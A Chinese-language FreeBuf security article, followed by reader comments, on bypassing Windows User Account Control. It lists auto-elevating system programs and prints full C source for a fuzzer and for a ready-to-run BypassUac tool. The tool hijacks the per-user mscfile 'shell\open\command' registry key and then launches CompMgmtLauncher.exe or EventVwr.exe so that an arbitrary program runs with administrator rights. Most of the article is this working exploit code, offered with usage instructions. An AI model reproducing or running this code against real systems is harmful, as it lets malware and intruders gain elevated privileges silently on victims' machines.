* 本文原创作者:ExpLife,本文属FreeBuf原创奖励计划,未经许可禁止转载
关于UAC的机制在笔者之前的<<聊聊BypassUAC的那些事儿>>一文中已经做了详尽的介绍。
最初绕过的UAC的方法揭露是http://www.pretentiousname.com/misc/win7_uac_whitelist2.html,,其原理可以归结为下图:
以下文件都位于windows系统目录%systemroot%以及其相应子目录下:
释放这些黑dll到系统目录下也由原来的利用autoelevate的COM接口IfileOperation变为了利用wusa命令将黑dll释放到系统目录下,当然除此之外,还出现了利用IsecurityEditor COM接口关闭UAC以及利用应用程序兼容数据库的特性来绕过UAC等等。
以上这些方法的详细实现代码可以参见俄罗斯安全社区的hfiref0x 开源的项目https://github.com/hfiref0x/UACME,在最新的windows 10的更新补丁中,基本修复了以上所有exploit,这里就不再赘述。
如果对UACME这个开源项目里面的代码进行过详细剖析的话,就会发现里面的20多种方法,其实大部分都是dll劫持,大多不兼容windows全版本,而且代码量较大。
所以后来又出来更加的简单的利用操作系统的卸载接口来绕过UAC的,黑防有篇文章有介绍,但是是利用模拟鼠标点击的方式去操作的控制面板来实现卸载程序的。
具体实现参见https://github.com/smb01/UacBypassUninstall。后来经过热心网友的提示说卸载接口无需进行模拟鼠标点击,直接调用操作系统的函数接口即可。但是具体是什么并没有说,笔者后对windows控制面板模块关于卸载接口这个点进行了逆向才得以实现,具体实现参见<<聊聊BypassUAC的那些段子>>这篇文章,其实卸载接口这个点原理上来说也是注册表项劫持。
今年8月左右,国外的安全研究人员发现一个一种利用eventvwr注册表键值的方法来绕过win 10 UAC的方法。详情参见::https://enigma0x3.net/2016/07/22/bypassing-uac-on-windows-10-using-disk-cleanup/。
笔者对其进行了研究发现这个方法非常简单易用,随后编写了一个自动化的小工具对这个点进行了fuzzing,发现了另一个可利用的点即计算机管理器加载程序。
下面来说下自动化工具的构建。
命令:
strings.exe -s *.exe | findstr /i "autoElevate">"D: \UacFuzzer\autoevate.txt"
笔者在这里对win7 x64进行的遍历,得到结果如下:
c:\Windows\System32\AdapterTroubleshooter.exe: <autoElevate xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">trueautoElevate>
c:\Windows\System32\BitLockerWizardElev.exe: <autoElevate xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">trueautoElevate>
c:\Windows\System32\bthudtask.exe: <autoElevate>trueautoElevate>
c:\Windows\System32\chkntfs.exe: <autoElevate>trueautoElevate>
c:\Windows\System32\cleanmgr.exe: <autoElevate xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">trueautoElevate>
c:\Windows\System32\cliconfg.exe: <autoElevate>trueautoElevate>
c:\Windows\System32\CompMgmtLauncher.exe: <autoElevate>trueautoElevate>
c:\Windows\System32\ComputerDefaults.exe: <autoElevate>trueautoElevate>
c:\Windows\System32\dccw.exe: <autoElevate>trueautoElevate>
c:\Windows\System32\dcomcnfg.exe: <autoElevate>trueautoElevate>
c:\Windows\System32\DeviceEject.exe: <autoElevate>trueautoElevate>
c:\Windows\System32\DeviceProperties.exe: <autoElevate>trueautoElevate>
c:\Windows\System32\dfrgui.exe: <autoElevate xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">trueautoElevate>
c:\Windows\System32\djoin.exe: <autoElevate>trueautoElevate>
c:\Windows\System32\eudcedit.exe: <autoElevate>trueautoElevate>
c:\Windows\System32\eventvwr.exe: <autoElevate>trueautoElevate>
c:\Windows\System32\FXSUNATD.exe: <autoElevate>trueautoElevate>
c:\Windows\System32\hdwwiz.exe: <autoElevate>trueautoElevate>
c:\Windows\System32\iscsicli.exe: <autoElevate>trueautoElevate>
c:\Windows\System32\iscsicpl.exe: <autoElevate>trueautoElevate>
c:\Windows\System32\lpksetup.exe: <autoElevate>trueautoElevate>
c:\Windows\System32\MdSched.exe: <autoElevate xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">trueautoElevate>
c:\Windows\System32\msconfig.exe: <autoElevate>trueautoElevate>
c:\Windows\System32\msdt.exe: <autoElevate xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">trueautoElevate>
c:\Windows\System32\msra.exe: <autoElevate>trueautoElevate>
c:\Windows\System32\MultiDigiMon.exe: <autoElevate>trueautoElevate>
c:\Windows\System32\Netplwiz.exe: <autoElevate xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">trueautoElevate>
c:\Windows\System32\newdev.exe: <autoElevate>trueautoElevate>
c:\Windows\System32\ntprint.exe: <autoElevate>trueautoElevate>
c:\Windows\System32\ocsetup.exe: <autoElevate>trueautoElevate>
c:\Windows\System32\odbcad32.exe: <autoElevate>trueautoElevate>
c:\Windows\System32\OptionalFeatures.exe: <autoElevate xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">trueautoElevate>
c:\Windows\System32\perfmon.exe: <autoElevate>trueautoElevate>
c:\Windows\System32\printui.exe: <autoElevate xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">trueautoElevate>
c:\Windows\System32\rdpshell.exe: <autoElevate>trueautoElevate>
c:\Windows\System32\recdisc.exe: <autoElevate>trueautoElevate>
c:\Windows\System32\rrinstaller.exe: <autoElevate>trueautoElevate>
c:\Windows\System32\rstrui.exe: <autoElevate xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">trueautoElevate>
c:\Windows\System32\sdclt.exe: <autoElevate xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">trueautoElevate>
c:\Windows\System32\shrpubw.exe: <autoElevate>trueautoElevate>
c:\Windows\System32\slui.exe: <autoElevate>trueautoElevate>
c:\Windows\System32\SndVol.exe: <autoElevate xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">trueautoElevate>
c:\Windows\System32\SystemPropertiesAdvanced.exe: <autoElevate>trueautoElevate>
c:\Windows\System32\SystemPropertiesComputerName.exe: <autoElevate>trueautoElevate>
c:\Windows\System32\SystemPropertiesDataExecutionPrevention.exe: <autoElevate>trueautoElevate>
c:\Windows\System32\SystemPropertiesHardware.exe: <autoElevate>trueautoElevate>
c:\Windows\System32\SystemPropertiesPerformance.exe: <autoElevate>trueautoElevate>
c:\Windows\System32\SystemPropertiesProtection.exe: <autoElevate>trueautoElevate>
c:\Windows\System32\SystemPropertiesRemote.exe: <autoElevate>trueautoElevate>
c:\Windows\System32\taskmgr.exe: <autoElevate>trueautoElevate>
c:\Windows\System32\tcmsetup.exe: <autoElevate>trueautoElevate>
c:\Windows\System32\TpmInit.exe: <autoElevate>trueautoElevate>
c:\Windows\System32\verifier.exe: <autoElevate>trueautoElevate>
c:\Windows\System32\wisptis.exe: <autoElevate>trueautoElevate>
c:\Windows\System32\wusa.exe: <autoElevate>trueautoElevate>
c:\Windows\System32\oobe\setupsqm.exe: <autoElevate>trueautoElevate>
c:\Windows\System32\sysprep\sysprep.exe: <autoElevate>trueautoElevate>
c:\Windows\System32\MRT.exe: AutoElevate
c:\Windows\System32\MRT.exe: autoelevate
c:\Windows\System32\MRT.exe: AutoElevate
c:\Windows\System32\MRT.exe: AmsiUacAutoElevate
c:\Windows\System32\MRT.exe: autoelevate
c:\Windows\System32\DriverStore\FileRepository\bth.inf_amd64_neutral_ca26c6da62d71ca8\fsquirt.exe: <autoElevate>trueautoElevate>
c:\Windows\System32\DriverStore\FileRepository\bth.inf_amd64_neutral_de0494b6391d872c\fsquirt.exe: <autoElevate>trueautoElevate>
c:\Windows\System32\DriverStore\FileRepository\bth.inf_amd64_neutral_e54666f6a3e5af91\fsquirt.exe: <autoElevate>trueautoElevate>
c:\Windows\System32\GWX\GWXUXWorker.exe: <autoElevate>trueautoElevate>
然而在笔者fuzz的过程中发现提示命令行提示各种程序找不到,为什么呢?这是因为64位系统文件重定向导致的,我们32位程序访问%systemroot%\system32\的时候,被重定向到了%systemroot%\syswow64\这个目录,所以会找不到这些文件。
所以笔者对win7 x86也进行遍历autoelevate白名单程序,也得到一份列表,然后利用010editor的文件对比功能将其与64位得到的结果进行对比,如下:
可以发现的确有不同,那么首先将不同的项移至文件末行,然后再重新进行对比,循环往复,最终确定了x64多出了这些项目:
c:\Windows\System32\MRT.exe: AutoElevate
c:\Windows\System32\MRT.exe: autoelevate
c:\Windows\System32\MRT.exe: AutoElevate
c:\Windows\System32\MRT.exe: AmsiUacAutoElevate
c:\Windows\System32\MRT.exe: autoelevate
c:\Windows\System32\DriverStore\FileRepository\bth.inf_amd64_neutral_ca26c6da62d71ca8\fsquirt.exe: true
c:\Windows\System32\DriverStore\FileRepository\bth.inf_amd64_neutral_de0494b6391d872c\fsquirt.exe: true
c:\Windows\System32\DriverStore\FileRepository\bth.inf_amd64_neutral_e54666f6a3e5af91\fsquirt.exe: true
c:\Windows\System32\GWX\GWXUXWorker.exe: true
而x86多出了这些项:
C:\Windows\system32\sdbinst.exe: true
C:\Windows\system32\ieUnatt.exe: true
C:\Windows\system32\DriverStore\FileRepository\bth.inf_x86_neutral_2d4ce84c4a0b8470\fsquirt.exe: true
以上这些项是在系统更新过程中添加的程序,比如说,GWX相关用于升级WIN10的程序,这些项目不是32,64位系统共有的,我们剔除掉,有需要的可以手动测试这些的项。
将以上结果使用notepad++进行批量替换可得到一个用于fuzz的程序名称数组,如下:
CHAR szAutoElevateExe[AUTOELEVATE_COUNT][MAX_PATH] = \
{"AdapterTroubleshooter.exe",
"BitLockerWizardElev.exe",
"bthudtask.exe",
"chkntfs.exe",
"cleanmgr.exe",
"cliconfg.exe",
"CompMgmtLauncher.exe",
"ComputerDefaults.exe",
"dccw.exe",
"dcomcnfg.exe",
"DeviceEject.exe",
"DeviceProperties.exe",
"dfrgui.exe",
"djoin.exe",
"eudcedit.exe",
"eventvwr.exe",
"FXSUNATD.exe",
"hdwwiz.exe",
"iscsicli.exe",
"iscsicpl.exe",
"lpksetup.exe",
"MdSched.exe",
"msconfig.exe",
"msdt.exe",
"msra.exe",
"MultiDigiMon.exe",
"Netplwiz.exe",
"newdev.exe",
"ntprint.exe",
"ocsetup.exe",
"odbcad32.exe",
"OptionalFeatures.exe",
"perfmon.exe",
"printui.exe",
"rdpshell.exe",
"recdisc.exe",
"rrinstaller.exe",
"rstrui.exe",
"sdclt.exe",
"shrpubw.exe",
"slui.exe",
"SndVol.exe",
"SystemPropertiesAdvanced.exe",
"SystemPropertiesComputerName.exe",
"SystemPropertiesDataExecutionPrevention.exe",
"SystemPropertiesHardware.exe",
"SystemPropertiesPerformance.exe",
"SystemPropertiesProtection.exe",
"SystemPropertiesRemote.exe",
"taskmgr.exe",
"tcmsetup.exe",
"TpmInit.exe",
"verifier.exe",
"wisptis.exe",
"wusa.exe",
"oobe\\setupsqm.exe",
"sysprep\\sysprep.exe"};
经过多次测试修改得到代码如下:
#include
#define DATA_SIZE 1024
#define AUTOELEVATE_COUNT 57
typedef VOID (WINAPI * PFN_GetNativeSystemInfo)(OUT LPSYSTEM_INFO);
typedef BOOL (WINAPI * PFN_Wow64DisableWow64FsRedirection)(OUT PVOID*);
typedef BOOL (WINAPI * PFN_Wow64RevertWow64FsRedirection)(OUT PVOID);
BOOL Is64System();
BOOL SetRegKeyStrVal(HKEY hKey,LPCSTR lpSubKey,LPCSTR lpData);
BOOL DeleteRegKey(HKEY hKey,LPCSTR lpSubKey);
BOOL Is64System()
{
SYSTEM_INFO si = {0};
PFN_GetNativeSystemInfo pfnGetNativeSystemInfo = \
(PFN_GetNativeSystemInfo)GetProcAddress(GetModuleHandle("Kernel32.dll"), "GetNativeSystemInfo");
if (pfnGetNativeSystemInfo)
{
pfnGetNativeSystemInfo(&si);
if (si.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64 ||
si.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_IA64)
{
return TRUE;
}
}
return FALSE;
}
BOOL SetRegKeyStrVal(HKEY hKey,LPCSTR lpSubKey,LPCSTR lpData)
{
HKEY hRoot = NULL;
DWORD dwDisposition = 0;
DWORD cbData = 0;
DWORD dwRet = 0;
REGSAM samDesired = KEY_ALL_ACCESS;
BYTE szBuffer[MAX_PATH] = {0};
CHAR szSysDir[MAX_PATH] = {0};
CHAR szCommand[MAX_PATH] = {0};
if (Is64System())
{
samDesired |= KEY_WOW64_64KEY;
}
if ((RegCreateKeyEx(hKey, lpSubKey, 0, NULL, 0, samDesired,NULL, &hRoot,&dwDisposition)) != ERROR_SUCCESS)
{
return FALSE;
}
dwRet = RegQueryValueEx( hRoot,
NULL,
NULL,
NULL,
szBuffer,
&cbData );
if (dwRet == ERROR_SUCCESS || dwRet == ERROR_MORE_DATA)
{
RegDeleteKey(hKey,lpSubKey);
RegCloseKey(hRoot);
if ((RegCreateKeyEx(hKey, lpSubKey, 0, NULL, 0, samDesired,NULL, &hRoot,&dwDisposition)) != ERROR_SUCCESS)
{
return FALSE;
}
}
if (RegSetValueEx(hRoot,NULL,0,REG_SZ, (BYTE *)lpData,strlen(lpData)))
{
return FALSE;
}
if (RegCloseKey(hRoot))
{
return FALSE;
}
return TRUE;
}
BOOL DeleteRegKey(HKEY hKey,LPCSTR lpSubKey)
{
HKEY hRoot = NULL;
DWORD dwDisposition = 0;
if (RegCreateKeyEx(HKEY_CURRENT_USER, lpSubKey, 0, NULL,0,KEY_ALL_ACCESS,NULL,&hRoot,&dwDisposition) != ERROR_SUCCESS)
return FALSE;
if (RegDeleteKey(hKey,lpSubKey) != ERROR_SUCCESS)
return FALSE;
if (RegCloseKey(hRoot) != ERROR_SUCCESS)
return FALSE;
return TRUE;
}
VOID Fuzzing()
{
CHAR szAutoElevateExe[AUTOELEVATE_COUNT][MAX_PATH] = \
{"AdapterTroubleshooter.exe",
"BitLockerWizardElev.exe",
"bthudtask.exe",
"chkntfs.exe",
"cleanmgr.exe",
"cliconfg.exe",
"CompMgmtLauncher.exe",
"ComputerDefaults.exe",
"dccw.exe",
"dcomcnfg.exe",
"DeviceEject.exe",
"DeviceProperties.exe",
"dfrgui.exe",
"djoin.exe",
"eudcedit.exe",
"eventvwr.exe",
"FXSUNATD.exe",
"hdwwiz.exe",
"iscsicli.exe",
"iscsicpl.exe",
"lpksetup.exe",
"MdSched.exe",
"msconfig.exe",
"msdt.exe",
"msra.exe",
"MultiDigiMon.exe",
"Netplwiz.exe",
"newdev.exe",
"ntprint.exe",
"ocsetup.exe",
"odbcad32.exe",
"OptionalFeatures.exe",
"perfmon.exe",
"printui.exe",
"rdpshell.exe",
"recdisc.exe",
"rrinstaller.exe",
"rstrui.exe",
"sdclt.exe",
"shrpubw.exe",
"slui.exe",
"SndVol.exe",
"SystemPropertiesAdvanced.exe",
"SystemPropertiesComputerName.exe",
"SystemPropertiesDataExecutionPrevention.exe",
"SystemPropertiesHardware.exe",
"SystemPropertiesPerformance.exe",
"SystemPropertiesProtection.exe",
"SystemPropertiesRemote.exe",
"taskmgr.exe",
"tcmsetup.exe",
"TpmInit.exe",
"verifier.exe",
"wisptis.exe",
"wusa.exe",
"oobe\\setupsqm.exe",
"sysprep\\sysprep.exe"};
CHAR szSysDir[MAX_PATH] = {0};
CHAR szSysCmd[DATA_SIZE] = {0};
CHAR szData[DATA_SIZE] = {0};
CONST CHAR* lpSubKey = "Software\\Classes\\mscfile\\shell\\open\\command";
GetSystemDirectory(szSysDir, MAX_PATH);
sprintf_s(szData, DATA_SIZE, "%s\\cmd.exe /c %s\\calc.exe",szSysDir, szSysDir);
SetRegKeyStrVal(HKEY_CURRENT_USER , lpSubKey, szData)
for (int i = 0; i < AUTOELEVATE_COUNT; i++)
{
memset(szSysCmd, 0, DATA_SIZE);
sprintf_s(szSysCmd, DATA_SIZE,"%s\\cmd.exe /c %s\\%s", szSysDir, szSysDir, szAutoElevateExe[i]);
system(szSysCmd);
printf("%d task %s is Done.\r\n", i, szSysCmd);
}
DeleteRegKey(HKEY_CURRENT_USER , lpSubKey);
}
int _tmain(int argc, _TCHAR* argv[])
{
if (Is64System())
{
PFN_Wow64DisableWow64FsRedirection pfnWow64DisableWow64FsRedirection = \
(PFN_Wow64DisableWow64FsRedirection)GetProcAddress(GetModuleHandle("Kernel32.dll"), "Wow64DisableWow64FsRedirection");
PFN_Wow64RevertWow64FsRedirection pfnWow64RevertWow64FsRedirection = \
(PFN_Wow64RevertWow64FsRedirection)GetProcAddress(GetModuleHandle("Kernel32.dll"), "Wow64RevertWow64FsRedirection");
if (pfnWow64DisableWow64FsRedirection && pfnWow64RevertWow64FsRedirection)
{
PVOID OldValue;
pfnWow64DisableWow64FsRedirection(&OldValue);
Fuzzing();
pfnWow64RevertWow64FsRedirection (OldValue);
return 0;
}
}
Fuzzing();
return 0;
}
然后在自动执行的过程中发现,system函数启动新的程序是同步的,如果被其创建的程序不退出,那么system就卡住了,所以我们就会想啊,利用CreateProcess以及ShellExecuteEx,WinExec等进行异步创建新进程行不行呢?
笔者发现不行,因为这个时候劫持HKEY_CURRENT_USER\\Software\\Classes\\mscfile\\shell\\open\\command这个注册表项失败了,所以笔者编写了一个循环遍历以上程序数组,结束对应名称进程的小程序。
然后配合两个程序fuzzing发现了CompMgmtLauncher.exe这个程序也可以用于bypass uac。
关于fuzzing的过程,截图如下:
详情见以下视频:
https://pan.baidu.com/s/1i48HDT7
这里笔者编写的BYPASS UAC小工具源代码如下:
#include
#include
#pragma comment(lib, "shlwapi.lib")
#define DATA_SIZE 1024
typedef VOID (WINAPI * PFN_GetNativeSystemInfo)(OUT LPSYSTEM_INFO);
typedef BOOL (WINAPI * PFN_Wow64DisableWow64FsRedirection)(OUT PVOID*);
typedef BOOL (WINAPI * PFN_Wow64RevertWow64FsRedirection)(OUT PVOID);
BOOL Is64System();
BOOL SetRegKeyStrVal(HKEY hKey,LPCSTR lpSubKey,LPCSTR lpData);
BOOL DeleteRegKey(HKEY hKey,LPCSTR lpSubKey);
VOID BypassUac(CHAR* lpData, DWORD dwIndex);
VOID PrintLove();
VOID Help();
BOOL Is64System()
{
SYSTEM_INFO si = {0};
PFN_GetNativeSystemInfo pfnGetNativeSystemInfo = \
(PFN_GetNativeSystemInfo)GetProcAddress(GetModuleHandle("Kernel32.dll"), "GetNativeSystemInfo");
if (pfnGetNativeSystemInfo)
{
pfnGetNativeSystemInfo(&si);
if (si.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64 ||
si.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_IA64)
{
return TRUE;
}
}
return FALSE;
}
BOOL SetRegKeyStrVal(HKEY hKey,LPCSTR lpSubKey,LPCSTR lpData)
{
HKEY hRoot = NULL;
DWORD dwDisposition = 0;
DWORD cbData = 0;
DWORD dwRet = 0;
REGSAM samDesired = KEY_ALL_ACCESS;
BYTE szBuffer[MAX_PATH] = {0};
CHAR szSysDir[MAX_PATH] = {0};
CHAR szCommand[MAX_PATH] = {0};
if (Is64System())
{
samDesired |= KEY_WOW64_64KEY;
}
if ((RegCreateKeyEx(hKey, lpSubKey, 0, NULL, 0, samDesired,NULL, &hRoot,&dwDisposition)) != ERROR_SUCCESS)
{
return FALSE;
}
dwRet = RegQueryValueEx( hRoot,
NULL,
NULL,
NULL,
szBuffer,
&cbData );
if (dwRet == ERROR_SUCCESS || dwRet == ERROR_MORE_DATA)
{
RegDeleteKey(hKey,lpSubKey);
RegCloseKey(hRoot);
if ((RegCreateKeyEx(hKey, lpSubKey, 0, NULL, 0, samDesired,NULL, &hRoot,&dwDisposition)) != ERROR_SUCCESS)
{
return FALSE;
}
}
if (RegSetValueEx(hRoot,NULL,0,REG_SZ, (BYTE *)lpData,strlen(lpData)))
{
return FALSE;
}
if (RegCloseKey(hRoot))
{
return FALSE;
}
return TRUE;
}
BOOL DeleteRegKey(HKEY hKey,LPCSTR lpSubKey)
{
HKEY hRoot = NULL;
DWORD dwDisposition = 0;
if (RegCreateKeyEx(HKEY_CURRENT_USER, lpSubKey, 0, NULL,0,KEY_ALL_ACCESS,NULL,&hRoot,&dwDisposition) != ERROR_SUCCESS)
return FALSE;
if (RegDeleteKey(hKey,lpSubKey) != ERROR_SUCCESS)
return FALSE;
if (RegCloseKey(hRoot) != ERROR_SUCCESS)
return FALSE;
return TRUE;
}
VOID BypassUac(CHAR* lpData, DWORD dwIndex)
{
CHAR szSysDir[MAX_PATH] = {0};
CHAR szSysCmd[DATA_SIZE] = {0};
CHAR szData[DATA_SIZE] = {0};
CONST CHAR* lpSubKey = "Software\\Classes\\mscfile\\shell\\open\\command";
GetSystemDirectory(szSysDir, MAX_PATH);
sprintf_s(szData, DATA_SIZE, "%s\\cmd.exe /c %s", szSysDir, lpData);
SetRegKeyStrVal(HKEY_CURRENT_USER , lpSubKey, szData);
switch(dwIndex)
{
case 0:
sprintf_s(szSysCmd, DATA_SIZE,"%s\\cmd.exe /c %s\\%s", szSysDir, szSysDir, "CompMgmtLauncher.exe");
break;
case 1:
sprintf_s(szSysCmd, DATA_SIZE,"%s\\cmd.exe /c %s\\%s", szSysDir, szSysDir, "EventVwr.exe");
break;
default:
sprintf_s(szSysCmd, DATA_SIZE,"%s\\cmd.exe /c %s\\%s", szSysDir, szSysDir, "EventVwr.exe");
break;
}
system(szSysCmd);
DeleteRegKey(HKEY_CURRENT_USER , lpSubKey);
}
VOID Help()
{
HANDLE handle = GetStdHandle(STD_OUTPUT_HANDLE);
SetConsoleTextAttribute(handle, 2);
printf("By ExpLife\r\n");
SetConsoleTextAttribute(handle, 3);
printf("Usage: XXX.exe TheFullPathOfTarget Number\r\n");
SetConsoleTextAttribute(handle, 4);
printf("The number parameter can be 0 or 1\r\n");
printf("The number 0 means to use CompMgmtLauncher.exe\r\n");
printf("The number 1 means to use EventVwr.exe\r\n");
SetConsoleTextAttribute(handle, 5);
printf("Do not use for illegal purposes, or author is not responsible for the consequences!\r\n");
}
int main(int argc , char * argv[])
{
if (argc != 3)
{
Help();
return 0;
}
if (strlen(argv[1]) >= 256)
{
Help();
printf("The path must be less than 256.\r\n");
return 0;
}
DWORD dwIndex = StrToInt(argv[2]);
if (dwIndex != 0 && dwIndex != 1)
{
Help();
printf("The second parameter invaild.\r\n");
return 0;
}
if (Is64System())
{
PFN_Wow64DisableWow64FsRedirection pfnWow64DisableWow64FsRedirection = \
(PFN_Wow64DisableWow64FsRedirection)GetProcAddress(GetModuleHandle("Kernel32.dll"), "Wow64DisableWow64FsRedirection");
PFN_Wow64RevertWow64FsRedirection pfnWow64RevertWow64FsRedirection = \
(PFN_Wow64RevertWow64FsRedirection)GetProcAddress(GetModuleHandle("Kernel32.dll"), "Wow64RevertWow64FsRedirection");
if (pfnWow64DisableWow64FsRedirection && pfnWow64RevertWow64FsRedirection)
{
PVOID OldValue;
pfnWow64DisableWow64FsRedirection(&OldValue);
BypassUac(argv[1], dwIndex);
pfnWow64RevertWow64FsRedirection (OldValue);
return 0;
}
}
BypassUac(argv[1], dwIndex);
}
这里,笔者已经将win10 x64专业版更新到最新的14393,并且补丁达到了最新,听有的网友说win10最新更新的版本已经对卸载接口进行了修复,eventvwr这个点也被修复了,但是笔者发现并没有,只不过对之前笔者写的NewUacMe查杀的比较厉害而已,估计被很多人滥用了,也可能是因为外壳加了VMProtect的缘故。
这里笔者对其进行了更新,加上CompMgmtLauncher以及EventVwr这2个点的测试效果如下,其中的demo1是调用卸载接口的(非模拟鼠标点击),demo2是劫持的CompMgmtLauncher以及EventVwr对应的注册表项,因为内存中加载了VMProtect壳,所以有个别杀软误报。。。
演示视频如下:
https://pan.baidu.com/s/1ge2ahfP
Fuzzing AutoElevate的源码见https://github.com/ExpLife/UacFuzzer
BypassUac小工具源码见https://github.com/ExpLife/BypassUacTool
参考引用
https://technet.microsoft.com/en-us/magazine/2007.06.uac.aspx
https://technet.microsoft.com/en-us/magazine/2009.07.uac.aspx
https://www.pretentiousname.com/misc/W7E_Source/win7_uac_poc_details.html
http://bbs.pediy.com/showthread.php?t=206830&highlight=UAC
http://bbs.pediy.com/showthread.php?t=208717&highlight=UAC
https://www.greyhathacker.net/?p=796
https://github.com/hfiref0x/UACME
https://enigma0x3.net/2016/07/22/bypassing-uac-on-windows-10-using-disk-cleanup/
https://github.com/smb01/UacBypassUninstall
* 本文原创作者:ExpLife,本文属FreeBuf原创奖励计划,未经许可禁止转载
已有 11 条评论
https://github.com/smb01/UacBypassUninstall已经404了
@ 我一般先看评论 那就这个吧,我fork了一份,https://github.com/ExpLife/UacBypassUninstall
@ ExpLife https://github.com/smb01/CPPTools/tree/master/uacbypass
感谢分享受益了。
刚开始的时候在看学也看到了安于此生发的这个分析,结果自己研究了几天也没研究出来。
好文
@ Netfairy 蛙神
good
这个可以有
@ 海阔天空 这不是那个点,这是另一个点
直接说哪个文件哪个注册表位置就是了,2句CMD就能提升的事还写个程序来提升觉得杀毒还不够麻烦还是怎么滴
@ XXXX 呵呵呵